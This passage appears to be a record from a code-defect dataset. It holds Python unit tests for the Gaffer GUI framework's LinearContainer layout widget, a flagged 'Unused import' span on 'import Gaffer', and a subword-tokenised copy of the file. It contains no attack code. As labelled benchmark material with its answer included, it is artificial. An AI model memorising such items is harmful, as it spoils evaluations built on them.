) ) )\n\n\t\tc = GafferUI.LinearContainer( spacing = 1 )\n\t\tc.addChild( g1 )\n\n\t\tself.assertEqual( c.bound(), IECore.Box3f( IECore.V3f( -0.5, -0.5, 0 ), IECore.V3f( 0.5, 0.5, 0 ) ) )\n\n\t\tc.addChild( g2 )\n\t\tself.assertEqual( c.bound(), IECore.Box3f( IECore.V3f( -2, -0.5, 0 ), IECore.V3f( 2, 0.5, 0 ) ) )\n\n\t\tg2.setVisible( False )\n\t\t# should be as if the child didn't exist\n\t\tself.assertEqual( c.bound(), IECore.Box3f( IECore.V3f( -0.5, -0.5, 0 ), IECore.V3f( 0.5, 0.5, 0 ) ) )\n\n\t\tg2.setVisible( True )\n\t\tself.assertEqual( c.bound(), IECore.Box3f( IECore.V3f( -2, -0.5, 0 ), IECore.V3f( 2, 0.5, 0 ) ) )\n\n\t\tc.addChild( g3 )\n\t\tself.assertEqual( c.bound(), IECore.Box3f( IECore.V3f( -5, -0.5, 0 ), IECore.V3f( 5, 0.5, 0 ) ) )\n\n\t\tg1.setVisible( False )\n\t\tself.assertEqual( c.bound(), IECore.Box3f( IECore.V3f( -4, -0.5, 0 ), IECore.V3f( 4, 0.5, 0 ) ) )", "metadata": "root.LinearContainerTest.testChildVisibility", "header": "['class', 'LinearContainerTest', '(', 'GafferUITest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 214 } ]
[ { "span": "import Gaffer", "start_line": 41, "start_column": 0, "end_line": 41, "end_column": 13 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "###########", "###########", "###########", "###########", "###########", "###########", "######", "##", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "Copy", "right", " ", "(", "c", ")", " ", "2011", "-", "2012", ",", " ", "Joh", "n", " ", "Had", "don", ".", " ", "All", " ", "rights", " ", "reserve", "d", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "Copy", "right", " ", "(", "c", ")", " ", "2012", "-", "2013", ",", " ", "Image", " ", "Engine", " ", "Desig", "n", " ", "Inc", ".", " ", "All", " ", "rights", " ", "reserve", "d", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "Redistributi", "on", " ", "and", " ", "use", " ", "in", " ", "source", " ", "and", " ", "binar", "y", " ", "forms", ",", " ", "with", " ", "or", " ", "with", "out_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "modification", ",", " ", "are", " ", "permit", "ted", " ", "provided", " ", "tha", "t", " ", "the", " ", "follow", "ing", " ", "condition", "s", " ", "are", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "met", ":_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "*", " ", "Redistributi", "ons", " ", "of", " ", "source", " ", "code", " ", "must", " ", "retain", " ", "the", " ", "above_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "copyr", "ight", " ", "notice", ",", " ", "this", " ", "list", " ", "of", " ", "condition", "s", " ", "and", " ", "the", " ", "following_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "discl", "aime", "r", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "*", " ", "Redistributi", "ons", " ", "in", " ", "binar", "y", " ", "form", " ", "must", " ", "reproduce", " ", "the", " ", "above_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "copyr", "ight", " ", "notice", ",", " ", "this", " ", "list", " ", "of", " ", "condition", "s", " ", "and", " ", "the", " ", "following_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "discl", "aime", "r", " ", "in", " ", "the", " ", "documentation", " ", "and", "/", "or", " ", "other", " ", "material", "s", " ", "provided", " ", "with_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "the", " ", "distribu", "tion", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "*", " ", "Nei", "ther", " ", "the", " ", "name", " ", "of", " ", "Joh", "n", " ", "Had", "don", " ", "nor", " ", "the", " ", "names", " ", "of_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "any", " ", "other", " ", "contributor", "s", " ", "to", " ", "this", " ", "software", " ", "may", " ", "be", " ", "used", " ", "to", " ", "endo", "rse", " ", "or_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "promote", " ", "products", " ", "derive", "d", " ", "from", " ", "this", " ", "software", " ", "with", "out", " ", "specific", " ", "prior_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "writt", "en", " ", "permissi", "on", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "THIS", " ", "SOFT", "WARE", " ", "IS", " ", "PROVI", "DED", " ", "BY", " ", "THE", " ", "COPY", "RIG", "HT", " ", "HOLD", "ERS", " ", "AND", " ", "CONTRIB", "UTO", "RS", " ", "\"", "AS_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "IS", "\"", " ", "AND", " ", "ANY", " ", "EXPR", "ESS", " ", "OR", " ", "IMPL", "IED", " ", "WAR", "RAN", "TIES", ",", " ", "INC", "LU", "DING", ",", " ", "BUT", " ", "NOT", " ", "LIMIT", "ED", " ", "TO", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "THE", " ", "IMPL", "IED", " ", "WAR", "RAN", "TIES", " ", "OF", " ", "MER", "CHAN", "TAB", "ILI", "TY", " ", "AND", " ", "FIT", "NESS", " ", "FOR", " ", "A", " ", "PARTI", "CUL", "AR_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "PUR", "POS", "E", " ", "ARE", " ", "DISC", "LAI", "MED", ".", " ", "IN", " ", "NO", " ", "EVENT", " ", "SHA", "LL", " ", "THE", " ", "COPY", "RIG", "HT", " ", "OWNER", " ", "OR_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "CONTRIB", "UTO", "RS", " ", "BE", " ", "LI", "AB", "LE", " ", "FOR", " ", "ANY", " ", "DIRECT", ",", " ", "INDI", "RECT", ",", " ", "INC", "IDENT", "AL", ",", " ", "SPECIAL", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "EXE", "MPL", "ARY", ",", " ", "OR", " ", "CONS", "EQU", "ENTI", "AL", " ", "DA", "MAGE", "S", " ", "(", "INC", "LU", "DING", ",", " ", "BUT", " ", "NOT", " ", "LIMIT", "ED", " ", "TO", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "PROC", "URE", "MENT", " ", "OF", " ", "SUBST", "ITU", "TE", " ", "GOOD", "S", " ", "OR", " ", "SERVICES", ";", " ", "LOSS", " ", "OF", " ", "USE", ",", " ", "DATA", ",", " ", "OR_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "PROF", "IT", "S", ";", " ", "OR", " ", "BUS", "INE", "SS", " ", "INTER", "RU", "PTION", ")", " ", "HO", "WE", "VER", " ", "CAU", "SED", " ", "AND", " ", "ON", " ", "ANY", " ", "THE", "ORY", " ", "OF_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "LI", "ABI", "LIT", "Y", ",", " ", "WHE", "THER", " ", "IN", " ", "CONTR", "ACT", ",", " ", "STRI", "CT", " ", "LI", "ABI", "LIT", "Y", ",", " ", "OR", " ", "TOR", "T", " ", "(", "INC", "LU", "DING", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "NEG", "LIG", "ENCE", " ", "OR", " ", "OTHER", "WI", "SE", ")", " ", "ARI", "SIN", "G", " ", "IN", " ", "ANY", " ", "WAY", " ", "OUT", " ", "OF", " ", "THE", " ", "USE", " ", "OF", " ", "THIS", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "SOFT", "WARE", ",", " ", "EVE", "N", " ", "IF", " ", "ADV", "ISE", "D", " ", "OF", " ", "THE", " ", "POS", "SIB", "ILI", "TY", " ", "OF", " ", "SUC", "H", " ", "DA", "MAGE", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "###########", "###########", "###########", "###########", "###########", "###########", "######", "##", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "unittest_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "IE", "Core_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "Ga", "ffer", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "Ga", "ffer", "UI_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "Ga", "ffer", "UI", "Test_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "\\u\\u", "name\\u\\u_", "==_", "\"\\u\\u", "main", "\\u\\u\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "_", "unittest_", "._", "main_", "(_", ")_", "\\u\\u\\uDEDENT\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "class_", "Linea", "r", "Containe", "r", "Test_", "(_", "Ga", "ffer", "UI", "Test_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Linea", "r", "Containe", "r", "Test_", "(_", "Ga", "ffer", "UI", "Test_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "_", "def_", "test", "Construct", "ion_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "c_", "=_", "Ga", "ffer", "UI_", "._", "Linea", "r", "Container_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "c_", "._", "get", "Name_", "(_", ")_", ",_", "\"", "Linea", "r", "Containe", "r", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "c_", "._", "get", "Orientation_", "(_", ")_", ",_", "Ga", "ffer", "UI_", "._", "Linea", "r", "Container_", "._", "Orientation_", "._", "X_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "c_", "._", "get", "Alignment_", "(_", ")_", ",_", "Ga", "ffer", "UI_", "._", "Linea", "r", "Container_", "._", "Alignment_", "._", "Centre", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "c_", "._", "get", "Spacing_", "(_", ")_", ",_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "c_", "._", "get", "Direction_", "(_", ")_", ",_", "Ga", "ffer", "UI_", "._", "Linea", "r", "Container_", "._", "Direction_", "._", "Inc", "rea", "sing", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "c_", "=_", "Ga", "ffer", "UI_", "._", "Linea", "r", "Container_", "(_", "name_", "=_", "\"", "a", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "c_", "._", "get", "Name_", "(_", ")_", ",_", "\"", "a", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "c_", "._", "get", "Orientation_", "(_", ")_", ",_", "Ga", "ffer", "UI_", "._", "Linea", "r", "Container_", "._", "Orientation_", "._", "X_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "c_", "._", "get", "Alignment_", "(_", ")_", ",_", "Ga", "ffer", "UI_", "._", "Linea", "r", "Container_", "._", "Alignment_", "._", "Centre", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "c_", "._", "get", "Spacing_", "(_", ")_", ",_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "c_", "._", "get", "Direction_", "(_", ")_", ",_", "Ga", "ffer", "UI_", "._", "Linea", "r", "Container_", "._", "Direction_", "._", "Inc", "rea", "sing", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "c_", "=_", "Ga", "ffer", "UI_", "._", "Linea", "r", "Container_", "(_", "spacing_", "=_", "10_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "c_", "._", "get", "Name_", "(_", ")_", ",_", "\"", "Linea", "r", "Containe", "r", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "c_", "._", "get", "Orientation_", "(_", ")_", ",_", "Ga", "ffer", "UI_", "._", "Linea", "r", "Container_", "._", "Orientation_", "._", "X_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "c_", "._", "get", "Alignment_", "(_", ")_", ",_", "Ga", "ffer", "UI_", "._", "Linea", "r", "Container_", "._", "Alignment_", "._", "Centre", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "c_", "._", "get", "Spacing_", "(_", ")_", ",_", "10_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "c_", "._", "get", "Direction_", "(_", ")_", ",_", "Ga", "ffer", "UI_", "._", "Linea", "r", "Container_", "._", "Direction_", "._", "Inc", "rea", "sing", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "c_", "=_", "Ga", "ffer", "UI_", "._", "Linea", "r", "Container_", "(_", "orientation_", "=_", "Ga", "ffer", "UI_", "._", "Linea", "r", "Container_", "._", "Orientation_", "._", "Y_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "c_", "._", "get", "Name_", "(_", ")_", ",_", "\"", "Linea", "r", "Containe", "r", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "c_", "._", "get", "Orientation_", "(_", ")_", ",_", "Ga", "ffer", "UI_", "._", "Linea", "r", "Container_", "._", "Orientation_", "._", "Y_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "c_", "._", "get", "Alignment_", "(_", ")_", ",_", "Ga", "ffer", "UI_", "._", "Linea", "r", "Container_", "._", "Alignment_", "._", "Centre", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "c_", "._", "get", "Spacing_", "(_", ")_", ",_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "c_", "._", "get", "Direction_", "(_", ")_", ",_", "Ga", "ffer", "UI_", "._", "Linea", "r", "Container_", "._", "Direction_", "._", "Inc", "rea", "sing", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "c_", "=_", "Ga", "ffer", "UI_", "._", "Linea", "r", "Container_", "(_", "alignment_", "=_", "Ga", "ffer", "UI_", "._", "Linea", "r", "Container_", "._", "Alignment_", "._", "Min_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "c_", "._", "get", "Name_", "(_", ")_", ",_", "\"", "Linea", "r", "Containe", "r", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "c_", "._", "get", "Orientation_", "(_", ")_", ",_", "Ga", "ffer", "UI_", "._", "Linea", "r", "Container_", "._", "Orientation_", "._", "X_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "c_", "._", "get", "Alignment_", "(_", ")_", ",_", "Ga", "ffer", "UI_", "._", "Linea", "r", "Container_", "._", "Alignment_", "._", "Min_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "c_", "._", "get", "Spacing_", "(_", ")_", ",_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "c_", "._", "get", "Direction_", "(_", ")_", ",_", "Ga", "ffer", "UI_", "._", "Linea", "r", "Container_", "._", "Direction_", "._", "Inc", "rea", "sing", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "c_", "=_", "Ga", "ffer", "UI_", "._", "Linea", "r", "Container_", "(_", "direction_", "=_", "Ga", "ffer", "UI_", "._", "Linea", "r", "Container_", "._", "Direction_", "._", "Decre", "asin", "g_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "c_", "._", "get", "Name_", "(_", ")_", ",_", "\"", "Linea", "r", "Containe", "r", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "c_", "._", "get", "Orientation_", "(_", ")_", ",_", "Ga", "ffer", "UI_", "._", "Linea", "r", "Container_", "._", "Orientation_", "._", "X_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "c_", "._", "get", "Alignment_", "(_", ")_", ",_", "Ga", "ffer", "UI_", "._", "Linea", "r", "Container_", "._", "Alignment_", "._", "Centre", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "c_", "._", "get", "Spacing_", "(_", ")_", ",_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "c_", "._", "get", "Direction_", "(_", ")_", ",_", "Ga", "ffer", "UI_", "._", "Linea", "r", "Container_", "._", "Direction_", "._", "Decre", "asin", "g_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert\\u_", "(_", "c_", "._", "bound_", "(_", ")_", "._", "is", "Empty_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Linea", "r", "Containe", "r", "Test_", "(_", "Ga", "ffer", "UI", "Test_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test", "Horiz", "onta", "l", "Centre", "d_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "two", "By", "Four", "_", "=_", "Ga", "ffer", "UI_", "._", "Render", "able", "Ga", "dget", "_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "IE", "Core_", "._", "Mesh", "Primitive", "_", "._", "create", "Plane_", "(_", "IE", "Core_", "._", "Box", "2f_", "(_", "IE", "Core_", "._", "V2", "f_", "(_", "-_", "1_", ",_", "-_", "2_", ")_", ",_", "IE", "Core_", "._", "V2", "f_", "(_", "1_", ",_", "2_", ")_", ")_", ")_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "four", "By", "Four", "_", "=_", "Ga", "ffer", "UI_", "._", "Render", "able", "Ga", "dget", "_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "IE", "Core_", "._", "Mesh", "Primitive", "_", "._", "create", "Plane_", "(_", "IE", "Core_", "._", "Box", "2f_", "(_", "IE", "Core_", "._", "V2", "f_", "(_", "-_", "2_", ",_", "-_", "2_", ")_", ",_", "IE", "Core_", "._", "V2", "f_", "(_", "2_", ",_", "2_", ")_", ")_", ")_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "four", "By", "Two_", "=_", "Ga", "ffer", "UI_", "._", "Render", "able", "Ga", "dget", "_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "IE", "Core_", "._", "Mesh", "Primitive", "_", "._", "create", "Plane_", "(_", "IE", "Core_", "._", "Box", "2f_", "(_", "IE", "Core_", "._", "V2", "f_", "(_", "-_", "2_", ",_", "-_", "1_", ")_", ",_", "IE", "Core_", "._", "V2", "f_", "(_", "2_", ",_", "1_", ")_", ")_", ")_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "c_", "=_", "Ga", "ffer", "UI_", "._", "Linea", "r", "Container_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "c_", "[_", "\"", "c1", "\"_", "]_", "=_", "two", "By", "Four", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "c_", "._", "bound_", "(_", ")_", ",_", "IE", "Core_", "._", "Box", "3f", "_", "(_", "IE", "Core_", "._", "V3", "f_", "(_", "-_", "1_", ",_", "-_", "2_", ",_", "0_", ")_", ",_", "IE", "Core_", "._", "V3", "f_", "(_", "1_", ",_", "2_", ",_", "0_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "two", "By", "Four", "_", "._", "get", "Transform_", "(_", ")_", ",_", "IE", "Core_", "._", "M", "4", "4f", "_", "._", "create", "Translate", "d_", "(_", "IE", "Core_", "._", "V3", "f_", "(_", "0_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "c_", "[_", "\"", "c2", "\"_", "]_", "=_", "four", "By", "Four", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "c_", "._", "bound_", "(_", ")_", ",_", "IE", "Core_", "._", "Box", "3f", "_", "(_", "IE", "Core_", "._", "V3", "f_", "(_", "-_", "3_", ",_", "-_", "2_", ",_", "0_", ")_", ",_", "IE", "Core_", "._", "V3", "f_", "(_", "3_", ",_", "2_", ",_", "0_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "two", "By", "Four", "_", "._", "get", "Transform_", "(_", ")_", ",_", "IE", "Core_", "._", "M", "4", "4f", "_", "._", "create", "Translate", "d_", "(_", "IE", "Core_", "._", "V3", "f_", "(_", "-_", "2_", ",_", "0_", ",_", "0_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "four", "By", "Four", "_", "._", "get", "Transform_", "(_", ")_", ",_", "IE", "Core_", "._", "M", "4", "4f", "_", "._", "create", "Translate", "d_", "(_", "IE", "Core_", "._", "V3", "f_", "(_", "1_", ",_", "0_", ",_", "0_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "c_", "[_", "\"", "c3", "\"_", "]_", "=_", "four", "By", "Two_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "c_", "._", "bound_", "(_", ")_", ",_", "IE", "Core_", "._", "Box", "3f", "_", "(_", "IE", "Core_", "._", "V3", "f_", "(_", "-_", "5_", ",_", "-_", "2_", ",_", "0_", ")_", ",_", "IE", "Core_", "._", "V3", "f_", "(_", "5_", ",_", "2_", ",_", "0_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "two", "By", "Four", "_", "._", "get", "Transform_", "(_", ")_", ",_", "IE", "Core_", "._", "M", "4", "4f", "_", "._", "create", "Translate", "d_", "(_", "IE", "Core_", "._", "V3", "f_", "(_", "-_", "4_", ",_", "0_", ",_", "0_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "four", "By", "Four", "_", "._", "get", "Transform_", "(_", ")_", ",_", "IE", "Core_", "._", "M", "4", "4f", "_", "._", "create", "Translate", "d_", "(_", "IE", "Core_", "._", "V3", "f_", "(_", "-_", "1_", ",_", "0_", ",_", "0_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "four", "By", "Two_", "._", "get", "Transform_", "(_", ")_", ",_", "IE", "Core_", "._", "M", "4", "4f", "_", "._", "create", "Translate", "d_", "(_", "IE", "Core_", "._", "V3", "f_", "(_", "3_", ",_", "0_", ",_", "0_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Linea", "r", "Containe", "r", "Test_", "(_", "Ga", "ffer", "UI", "Test_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test", "Vertica", "l", "Min_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "two", "By", "Four", "_", "=_", "Ga", "ffer", "UI_", "._", "Render", "able", "Ga", "dget", "_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "IE", "Core_", "._", "Mesh", "Primitive", "_", "._", "create", "Plane_", "(_", "IE", "Core_", "._", "Box", "2f_", "(_", "IE", "Core_", "._", "V2", "f_", "(_", "-_", "1_", ",_", "-_", "2_", ")_", ",_", "IE", "Core_", "._", "V2", "f_", "(_", "1_", ",_", "2_", ")_", ")_", ")_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "four", "By", "Four", "_", "=_", "Ga", "ffer", "UI_", "._", "Render", "able", "Ga", "dget", "_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "IE", "Core_", "._", "Mesh", "Primitive", "_", "._", "create", "Plane_", "(_", "IE", "Core_", "._", "Box", "2f_", "(_", "IE", "Core_", "._", "V2", "f_", "(_", "-_", "2_", ",_", "-_", "2_", ")_", ",_", "IE", "Core_", "._", "V2", "f_", "(_", "2_", ",_", "2_", ")_", ")_", ")_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "four", "By", "Two_", "=_", "Ga", "ffer", "UI_", "._", "Render", "able", "Ga", "dget", "_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "IE", "Core_", "._", "Mesh", "Primitive", "_", "._", "create", "Plane_", "(_", "IE", "Core_", "._", "Box", "2f_", "(_", "IE", "Core_", "._", "V2", "f_", "(_", "-_", "2_", ",_", "-_", "1_", ")_", ",_", "IE", "Core_", "._", "V2", "f_", "(_", "2_", ",_", "1_", ")_", ")_", ")_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "c_", "=_", "Ga", "ffer", "UI_", "._", "Linea", "r", "Container_", "(_", "orientation_", "=_", "Ga", "ffer", "UI_", "._", "Linea", "r", "Container_", "._", "Orientation_", "._", "Y_", ",_", "alignment_", "=_", "Ga", "ffer", "UI_", "._", "Linea", "r", "Container_", "._", "Alignment_", "._", "Min_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "c_", "[_", "\"", "c1", "\"_", "]_", "=_", "two", "By", "Four", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "c_", 